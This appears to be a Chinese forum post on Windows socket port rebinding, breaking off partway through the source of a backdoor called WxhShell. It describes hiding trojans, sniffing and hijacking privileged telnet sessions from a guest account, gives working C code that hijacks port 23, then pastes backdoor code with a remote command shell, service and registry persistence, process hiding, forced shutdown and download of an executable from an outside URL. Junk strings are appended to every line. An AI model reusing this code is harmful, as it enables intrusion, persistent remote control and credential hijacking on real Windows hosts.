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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7d/wT+f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '.~vN L+ O  
[$3Zid  
  saddr.sin_family = AF_INET; If6wkY6sR  
lsW.j#yE!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tZ>>aiI3  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eFXxkWR)  
(o^V[zV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8+a/x#b-  
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  这意味着什么?意味着可以进行如下的攻击: 3]'=s>UO>^  
?>q=Nf^Q.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8!>uC&bE8  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wO} 3i6  
I>/`W  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KGi@H%NN  
2 T{PIJg3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  < Q\`2{  
f]T1:N*t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G+[>or}  
R ;5w*e}?5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \+GXUnkj  
/dOQ4VA\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oBqP^uT>a|  
nIph[Vs-Z  
  #include 1sc #!^Oo  
  #include spO?5#  
  #include  +KFK..  
  #include    2!68W X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l0D.7>aj  
  int main() Z+t?ah00  
  { a^[io1}-  
  WORD wVersionRequested; >;xEzc!W3*  
  DWORD ret; K 1:F{*  
  WSADATA wsaData; Bo%M-Gmu  
  BOOL val; +\Q6Onqr  
  SOCKADDR_IN saddr; 86%weU/*  
  SOCKADDR_IN scaddr; ~ezCE4^&  
  int err; N0 ?O*a  
  SOCKET s; I]SR.Yp%  
  SOCKET sc; qwFn(pK[  
  int caddsize; }T,E$vsx  
  HANDLE mt; MW*}+ PCY  
  DWORD tid;   ;t?pyFT2Z  
  wVersionRequested = MAKEWORD( 2, 2 ); qWE"vI22M  
  err = WSAStartup( wVersionRequested, &wsaData ); L$jyeFB5  
  if ( err != 0 ) { ,7%(Jj$ ^  
  printf("error!WSAStartup failed!\n"); -m'a%aog  
  return -1; |xKB><  
  } eA4*Be;9e  
  saddr.sin_family = AF_INET; 7KM!\"PM  
   2~J|x+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3'/wRKl  
UO:>^,(j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >MQW{^  
  saddr.sin_port = htons(23); *"zE,Bp"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T}!7LNE  
  { 3J,/bgL5  
  printf("error!socket failed!\n"); gu:..'V  
  return -1; tQ&#FFt,)  
  } }f-rWe{gs>  
  val = TRUE; ["L?t ^*G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yp*kMC,3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {Z?!*Ow  
  { wkm SIN:  
  printf("error!setsockopt failed!\n"); b/5~VY*T  
  return -1; x~{ m%)I  
  } ~{NDtB)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5<a<!]|C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &H+<uYV  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \pPq ]k  
^9{ 2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }<Me%`x"  
  { wK\SeX  
  ret=GetLastError(); ihYf WG|  
  printf("error!bind failed!\n"); 3 t_5Xacj  
  return -1; \Fj4Gy?MW  
  } F H%yyT  
  listen(s,2); u8,T>VNVw  
  while(1) >=Rb:#UM  
  { 0>?mF]M  
  caddsize = sizeof(scaddr); 5rcno.~QO  
  //接受连接请求 dF?pEet?2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); dl;A'/(t  
  if(sc!=INVALID_SOCKET) rU~"A  
  { CNN?8/u!@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X0P$r6 ;  
  if(mt==NULL) &WRoNc  
  { ~ ZDdzp>  
  printf("Thread Creat Failed!\n"); >qgBu_  
  break; 9,>M/_8>  
  } j68Gz5;j  
  } 8'quQCx*=  
  CloseHandle(mt); ^IId =V=2  
  }  9q5[W=|  
  closesocket(s); ){(cRB$  
  WSACleanup(); pucHB<R@bL  
  return 0; [{c8:)ar  
  }   w'e enIX^^  
  DWORD WINAPI ClientThread(LPVOID lpParam) SwL\=nq+~  
  { bQ4 }no0  
  SOCKET ss = (SOCKET)lpParam; ujSzm=_P  
  SOCKET sc; So 5{E 4[  
  unsigned char buf[4096]; x-QP+M`Pu  
  SOCKADDR_IN saddr; DxD0iJ=W  
  long num; ZuhT \l  
  DWORD val; |% kK?!e+-  
  DWORD ret; lGz0K5P{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @Uu\x~3y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   KWYG\#S0]  
  saddr.sin_family = AF_INET; ";xEuX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "LWp/  
  saddr.sin_port = htons(23); GJ$,@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3HiW1*5W  
  { N?Z?g_a8  
  printf("error!socket failed!\n"); sd6Wmmo  
  return -1; d"cfSH;h  
  } \r 2qH0B  
  val = 100; th<]L<BP/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )}aF=%  
  { W | }Hl{}  
  ret = GetLastError(); g:)v thOs  
  return -1; /l`XJs  
  } lyPXlt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 93dotuF  
  { |)_R bqZ  
  ret = GetLastError(); gdT_kb5HL8  
  return -1; +!Ltn  
  } +u2Co_FJ&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) vOS0E^  
  { 4ca-!pI0  
  printf("error!socket connect failed!\n"); _7;^od=C  
  closesocket(sc); Rt|Hma  
  closesocket(ss); pSP_cYa#(#  
  return -1; bi[l,  
  } ? `KOW  
  while(1) N'1~wxd  
  { >KPJ74R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i=D,T[|>a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (D{}1sZBQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E~P 0}'  
  num = recv(ss,buf,4096,0); m [g}vwS  
  if(num>0) ""d>f4,S  
  send(sc,buf,num,0); r;C\eN  
  else if(num==0) a\w | tf  
  break; bij?q\  
  num = recv(sc,buf,4096,0); &^H "T6  
  if(num>0) Uk9g^\H<D  
  send(ss,buf,num,0); h"ylpv+  
  else if(num==0) %},gE[N!J  
  break; k ))*z FV  
  } %np#Bv-L  
  closesocket(ss); lo:~~l  
  closesocket(sc); j1 <1D@UO  
  return 0 ; hl:eF:'hm  
  } Anv8)J!9u  
bEKLameKv  
D3{lyi|8  
========================================================== <3 }l8Z  
G,-OH-M!  
下边附上一个代码,,WXhSHELL -#6*T,f0P(  
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========================================================== Jf$wBPg  
O:)IRB3  
#include "stdafx.h" &*aU2{,s,;  
N -]PK%*  
#include <stdio.h> ]Qr8wa>Z  
#include <string.h> EC'bgFe  
#include <windows.h> #:|?t&On  
#include <winsock2.h> l`&6W?C  
#include <winsvc.h> WZ&@ JB  
#include <urlmon.h> 0)5Sx /5'  
?8@*q6~8  
#pragma comment (lib, "Ws2_32.lib") h\d($Ki  
#pragma comment (lib, "urlmon.lib") Nh9!lBm*]  
v s|6w w  
#define MAX_USER   100 // 最大客户端连接数 R+0"B  
#define BUF_SOCK   200 // sock buffer )`mF.87b&h  
#define KEY_BUFF   255 // 输入 buffer 8 -;ZPhN&  
qk,y|7 p  
#define REBOOT     0   // 重启 %k #Nu  
#define SHUTDOWN   1   // 关机 ;/ KF3 %  
IGT_ 5te  
#define DEF_PORT   5000 // 监听端口 [!? ,TGM}^  
[9om"'  
#define REG_LEN     16   // 注册表键长度 tQ JH'YV  
#define SVC_LEN     80   // NT服务名长度 ~#_$?_/(  
HF+fk*_Q  
// 从dll定义API NB5B$q_'#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wmxw!   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cGta4;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D{c>i`\G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z'dI!8(Nf  
l0\>zWLZZ9  
// wxhshell配置信息 -#;VFSz,9*  
struct WSCFG { zl 0^EltiU  
  int ws_port;         // 监听端口 o!r4 frP  
  char ws_passstr[REG_LEN]; // 口令 MVP)rugU  
  int ws_autoins;       // 安装标记, 1=yes 0=no \Ntdl:fSw  
  char ws_regname[REG_LEN]; // 注册表键名 YCBML!L  
  char ws_svcname[REG_LEN]; // 服务名 \w[ZY$/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H0 n@kKr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |uwteG5?$s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n3g WM C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '3UIriY6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Pq\V($gN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GnrW {o  
u|>U`[Zpj  
}; ; 9&.QR(  
JvJ!\6Q@  
// default Wxhshell configuration ilcy/  
struct WSCFG wscfg={DEF_PORT, :'rZZeb'  
    "xuhuanlingzhe", F"f}vl  
    1, ?Wz(f{Hm  
    "Wxhshell", 'A(-MTd%  
    "Wxhshell", m\Fb ,  
            "WxhShell Service", Ldj^O9p(  
    "Wrsky Windows CmdShell Service", Y1_6\zpA  
    "Please Input Your Password: ", h8= MVh(I  
  1, VueQP|   
  "http://www.wrsky.com/wxhshell.exe", $CwTNm?  
  "Wxhshell.exe" hPi :31-0  
    }; i =fOdp  
t2%@py*bU  
// 消息定义模块 _ KhEwd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'j<:FUDJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0/00 W6r0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [xs)u3b  
char *msg_ws_ext="\n\rExit."; `Y({#U  
char *msg_ws_end="\n\rQuit."; 3g#=sd!0O@  
char *msg_ws_boot="\n\rReboot..."; 9EA !j}  
char *msg_ws_poff="\n\rShutdown..."; nP{sCH 1  
char *msg_ws_down="\n\rSave to "; I;.! hV>E  
t k/K0u  
char *msg_ws_err="\n\rErr!"; m57tO X  
char *msg_ws_ok="\n\rOK!"; 9s6>9hMb)  
GE8D3V;*V  
char ExeFile[MAX_PATH]; p<0kmA<B/  
int nUser = 0; s?;<F  
HANDLE handles[MAX_USER]; "tz0ko,(  
int OsIsNt; MV;Y?%>  
VRQbf  
SERVICE_STATUS       serviceStatus; 3|'#n[3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NZ+?Ydr8k  
am'p^Z @  
// 函数声明 Zj+}T  
int Install(void); !%RJC,X  
int Uninstall(void); seqF84Xd<  
int DownloadFile(char *sURL, SOCKET wsh); ~SR(K{nf#.  
int Boot(int flag); <&Y}j&(  
void HideProc(void); ;]oXEq`  
int GetOsVer(void); HHIUl,P  
int Wxhshell(SOCKET wsl); "J[i=~(  
void TalkWithClient(void *cs); N4` 9TN7  
int CmdShell(SOCKET sock); Eagmafu  
int StartFromService(void); xlPcg7  
int StartWxhshell(LPSTR lpCmdLine); <E7Vbb9*  
Th;gps%b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kG;eOp16R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o S:vTr+$  
Sv ~1XL W  
// 数据结构和表定义 ({H+ y 9n  
SERVICE_TABLE_ENTRY DispatchTable[] = "U5Ln2X{J  
{ F<oc Y0=9p  
{wscfg.ws_svcname, NTServiceMain}, sAjKf\][  
{NULL, NULL} L4/TI(MP  
}; z^a!C#IX  
&W)+8N,L  
// 自我安装 bUAR<R'E  
int Install(void) z5yb$-j  
{ c2\rjK   
  char svExeFile[MAX_PATH]; %M;_(jda  
  HKEY key; uRB)g  
  strcpy(svExeFile,ExeFile); ghJ,s|lH  
}KaCf,O  
// 如果是win9x系统,修改注册表设为自启动 Gkodk[VuLs  
if(!OsIsNt) { 4Fr7jD,#k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EDgob^>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;oY(I7  
  RegCloseKey(key); %+7T9>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _sf#J|kQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8%2rgA  
  RegCloseKey(key); T) Zt'M  
  return 0; -|k&L}\OB0  
    } %];h|[ax]  
  } ;1R?9JN"  
} Oj4u!SY\j  
else { [N+ m5{tT  
az \<sWb#  
// 如果是NT以上系统,安装为系统服务 )ZgER[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L&DF,fWsF&  
if (schSCManager!=0) bU:}ZO^S  
{ $xUzFLh=`  
  SC_HANDLE schService = CreateService /mMAwx  
  ( iBtjd`V*  
  schSCManager, Xew1LPI  
  wscfg.ws_svcname, k binf  
  wscfg.ws_svcdisp, 22al  
  SERVICE_ALL_ACCESS, r{_B:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , { /F rs*AF  
  SERVICE_AUTO_START, C`yvBt40r  
  SERVICE_ERROR_NORMAL, j5,^9'  
  svExeFile, D8@n kSP  
  NULL, ]e@0T{!  
  NULL, ElEv(>G*  
  NULL, &sZ9$s:(^  
  NULL, ^8';8+$  
  NULL HvqF@/xh  
  ); QX/X {h6  
  if (schService!=0) ~$&:NB1~q  
  { d4y9AE@k  
  CloseServiceHandle(schService); jSwtf  
  CloseServiceHandle(schSCManager); &*G5J7%w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |2 YubAIZ(  
  strcat(svExeFile,wscfg.ws_svcname); $S6HZG:N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sc4obcw%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cQ3W;F8|n  
  RegCloseKey(key); +{")E)  
  return 0; Q )LXL.0h  
    } G%P>A g  
  } )h>\05|T  
  CloseServiceHandle(schSCManager); 5|<yfk8*J  
} jb|mip@` <  
} *PSvHXNi  
b)on A|  
return 1; nabBU4;h  
} "*++55  
P+)qE6\  
// 自我卸载 W>5vRwx00  
int Uninstall(void) AW,v  
{ GI2eJK  
  HKEY key; PGPISrf  
d5@X#3Hd  
if(!OsIsNt) { w(76H^e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ||-nmOy  
  RegDeleteValue(key,wscfg.ws_regname); {fGd:2dh  
  RegCloseKey(key); prNhn:j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0>,.c2),  
  RegDeleteValue(key,wscfg.ws_regname); up\oWR:  
  RegCloseKey(key); di6B!YQP  
  return 0; .]W ;2G  
  } !c3```*  
} s? QVX~S"  
} Ds%9cp*6  
else { A}t%;V2  
q,[k7&HS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =N YgGEFq.  
if (schSCManager!=0) >5)<Uv$  
{ 0 HGlf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q~Ay8L+  
  if (schService!=0) bA}AD`5  
  { /@ y;iJk;  
  if(DeleteService(schService)!=0) { ^4c,U9J=  
  CloseServiceHandle(schService); XD PL;(?  
  CloseServiceHandle(schSCManager); '3A+"k-}mh  
  return 0; , N53Iic  
  } _f cS>/<a  
  CloseServiceHandle(schService); &&[zT/]P  
  } #SKfE  
  CloseServiceHandle(schSCManager); ""co6qo#>  
} O0^?f/&k  
} +7,8w  
z{ptm7  
return 1; >(X #<`  
} )uZoH 8?  
f|OI`  
// 从指定url下载文件 $}t=RW  
int DownloadFile(char *sURL, SOCKET wsh) >~_J q|KBB  
{ S_J,[#&  
  HRESULT hr; t/}L36@+  
char seps[]= "/"; !; IJ   
char *token; U^MuZ  
char *file; 8z Y)J#  
char myURL[MAX_PATH]; kw*)/$5]  
char myFILE[MAX_PATH]; P?kx  
I%oRvg|q  
strcpy(myURL,sURL); PgMbMH  
  token=strtok(myURL,seps); Kx~$Bor_!  
  while(token!=NULL) \[yr=X  
  { U4BqO :sd  
    file=token; iOXZ ]Xj5  
  token=strtok(NULL,seps); z v>Oh#  
  } LheFQ A  
`ncNEHh7K  
GetCurrentDirectory(MAX_PATH,myFILE); 6^)rv-L~5y  
strcat(myFILE, "\\"); hk%k(^ekU]  
strcat(myFILE, file); ?v:ZU~i  
  send(wsh,myFILE,strlen(myFILE),0); h4_ b!E@  
send(wsh,"...",3,0); (Yv{{mIy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qj&b o  
  if(hr==S_OK) ;f:gX`"\  
return 0; `H\)e%]  
else mzWP8Hlw  
return 1; O sQkA2=  
e+.\pe\  
} ,MQVE  
4WC9US-k  
// 系统电源模块 jNA1O68N  
int Boot(int flag) %Tv^GP{}  
{ .[?BlIlm  
  HANDLE hToken; >c4/ ?YV  
  TOKEN_PRIVILEGES tkp; Ytao"R/  
t V03+&jF  
  if(OsIsNt) { iib  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _%~$'Hy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D8%AV; -Y  
    tkp.PrivilegeCount = 1; >O#grDXb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tkw;pb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8Hi!kc;f6>  
if(flag==REBOOT) { 7\ypW$Ot  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )0k']g5  
  return 0; i0:>Nk  
} UL( lf}M  
else { Ye5jB2Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PFM' & ;V  
  return 0; -Fxmsi  
} Dzl;-]S  
  } \}5p0.=  
  else { pu+ur=5&  
if(flag==REBOOT) { Ql%qQ ZV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x({H{'9?  
  return 0; ('C7=u&F  
} e$e#NoN  
else { \L # INP4~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G_ >G'2  
  return 0; JBC$Ku  
} -)jax  
} -oyO+1V  
Wh( |+rJ?Z  
return 1; ~6aCfbu%V  
} geM6G$V&  
 fvEAIs  
// win9x进程隐藏模块 [8XLK4e  
void HideProc(void) +oc >S  
{ -.IEgggf  
At6qtoPRA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a.@qGsIH  
  if ( hKernel != NULL ) WG u%7e]  
  { B=Ym x2A9]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a|4~NL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X^@ I].  
    FreeLibrary(hKernel); 445o DkG  
  } +nL+ N  
$w#r"= )  
return; W_`A"WdT.  
} ]y@F8$D!  
;eL9{eF  
// 获取操作系统版本 4)6xU4eBaL  
int GetOsVer(void) 0d^Z uTN  
{ <7_KeOLJ  
  OSVERSIONINFO winfo; 5 2_#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MZ> 6o5K|  
  GetVersionEx(&winfo); Ge+0-I6Ju  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +7V{ABfGl  
  return 1; Wg`AZ=t  
  else ] )DX%$f  
  return 0; bFS>)  
} &HW1mNF9  
? "/ fPV-  
// 客户端句柄模块 .w?(NZ2~  
int Wxhshell(SOCKET wsl) uC3:7  
{ qZv =  
  SOCKET wsh; +rXF{@ l  
  struct sockaddr_in client; sP@X g;]  
  DWORD myID; a:, y Z  
I6!5Yj]O"  
  while(nUser<MAX_USER) ;%C'FV e]  
{ 'XrRhF (  
  int nSize=sizeof(client); x NK1h-t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); = &wmWy  
  if(wsh==INVALID_SOCKET) return 1; -]uUYe c  
WLa!.v>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YevyN\,}V!  
if(handles[nUser]==0) YgUH'P-  
  closesocket(wsh); 4+$b~ u  
else $2^`Uca  
  nUser++; (>4aibA'P  
  } j%u-dr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uMb> xxf  
J5p"7bc  
  return 0; / $  :j  
} l>gI&1)%  
kum#^^4G|  
// 关闭 socket D4Al3fe  
void CloseIt(SOCKET wsh) =]`lN-rYw  
{ }v9\F-0>Q  
closesocket(wsh); aNn"X y\ k  
nUser--; g"s$}5{8:  
ExitThread(0); TGXa,A{  
} !Z!g:II /  
i,A#&YDl  
// 客户端请求句柄 1OLqL  
void TalkWithClient(void *cs) 3A:q7#m  
{ s>k Uh  
&6 s) X  
  SOCKET wsh=(SOCKET)cs; 2kAx>R  
  char pwd[SVC_LEN]; YJg,B\z}  
  char cmd[KEY_BUFF]; ;8WZx  
char chr[1]; XqRJr%JH  
int i,j; 7]xm2CHx5  
{t"+ 3zy'  
  while (nUser < MAX_USER) { A[IL H_w  
Z=B_Ty  
if(wscfg.ws_passstr) { ^D^4 YJz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D(p\0V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |7,L`utp  
  //ZeroMemory(pwd,KEY_BUFF); e^4 p%  
      i=0; \^(0B8|w  
  while(i<SVC_LEN) { taGU  
[ EFMu;q  
  // 设置超时 MV_Srz  
  fd_set FdRead; :j|IP)-f  
  struct timeval TimeOut; >Vy>O &r  
  FD_ZERO(&FdRead); b2 _Yu^  
  FD_SET(wsh,&FdRead); Q9}dHIe1E  
  TimeOut.tv_sec=8; yR{x}DbG  
  TimeOut.tv_usec=0; !USd9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); du$|lxC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J"=1/,AS  
5aad$f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kGpa\c g1  
  pwd=chr[0]; PB%-9C0  
  if(chr[0]==0xd || chr[0]==0xa) { lis/`B\x  
  pwd=0; H&r,FmI@  
  break; ikWtC]y  
  } 5@*'2rO&!  
  i++; xq6cKtSv  
    } [E#UGJ@  
@(P=Eh  
  // 如果是非法用户,关闭 socket G?f\>QSZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1/p*tZP8i  
} z <mK>$  
yc|VJ2R*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $^u}a   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,q(&)L$S  
qE'9QQ>:b  
while(1) { 7+x? " 4  
6wco&7   
  ZeroMemory(cmd,KEY_BUFF); zF5uN:-s  
tXJU vish  
      // 自动支持客户端 telnet标准   %uv?we7  
  j=0; iU6Gp-<M ,  
  while(j<KEY_BUFF) { 8|E'>+ D_-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K)TrZ 2  
  cmd[j]=chr[0]; v]__%_  
  if(chr[0]==0xa || chr[0]==0xd) { LZMYr  
  cmd[j]=0; s@MYc@k  
  break; VqL.iZ-  
  } {3N'D2N  
  j++; V]*b4nX7  
    } -hC,e/+  
uKgZ$-'  
  // 下载文件 RwS@I /  
  if(strstr(cmd,"http://")) { - 0?^#G}3}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jxJv.  
  if(DownloadFile(cmd,wsh)) AoA!q>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O;7)Hjwt  
  else [{C )LDN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &3J@BMYp  
  } }I`a`0/  
  else { ?\8?%Qk  
N'xSG`,Mg  
    switch(cmd[0]) { hzk6rYg1  
  E( us'9c   
  // 帮助 wP,JjPUt  
  case '?': { gm9mg*aM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r>GZ58i  
    break; 5U_H>oD  
  } h*u`X>!!  
  // 安装 1Bxmm#  
  case 'i': { e8'wG{3A  
    if(Install()) j5@:a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $%VuSrZ&  
    else  |W<+U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9n}p;3{f  
    break; Xl74@wq   
    } 1:Si,d,wh  
  // 卸载 Wu)>U  
  case 'r': { |lv|!]qAma  
    if(Uninstall()) xq"Jy=4Q*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xC C:BO`pw  
    else o:V|:*1Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )E+'*e{cK  
    break; B c2p(z4  
    } _HhbIU  
  // 显示 wxhshell 所在路径 tE7[Smzuf  
  case 'p': { MQin"\  
    char svExeFile[MAX_PATH]; C* nB  
    strcpy(svExeFile,"\n\r"); kA7mLrON  
      strcat(svExeFile,ExeFile); v@#b}N0n  
        send(wsh,svExeFile,strlen(svExeFile),0); F[ewn/]n  
    break; %,ngRYxT#  
    } aZbw]0q@o  
  // 重启 _#vrb;.+  
  case 'b': { T6ENtp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iX3HtIBj'  
    if(Boot(REBOOT)) }jill+]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WOh|U4vt  
    else { &>H!}"Yk  
    closesocket(wsh); <]G]W/eB'  
    ExitThread(0); S;]*)i,v  
    } 9(":,M(/o  
    break; }<'5 z qS  
    } H ty0qr3  
  // 关机 t|m=J`a{q;  
  case 'd': { F`9]=T0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LY+|[qka  
    if(Boot(SHUTDOWN)) qTQBt}  
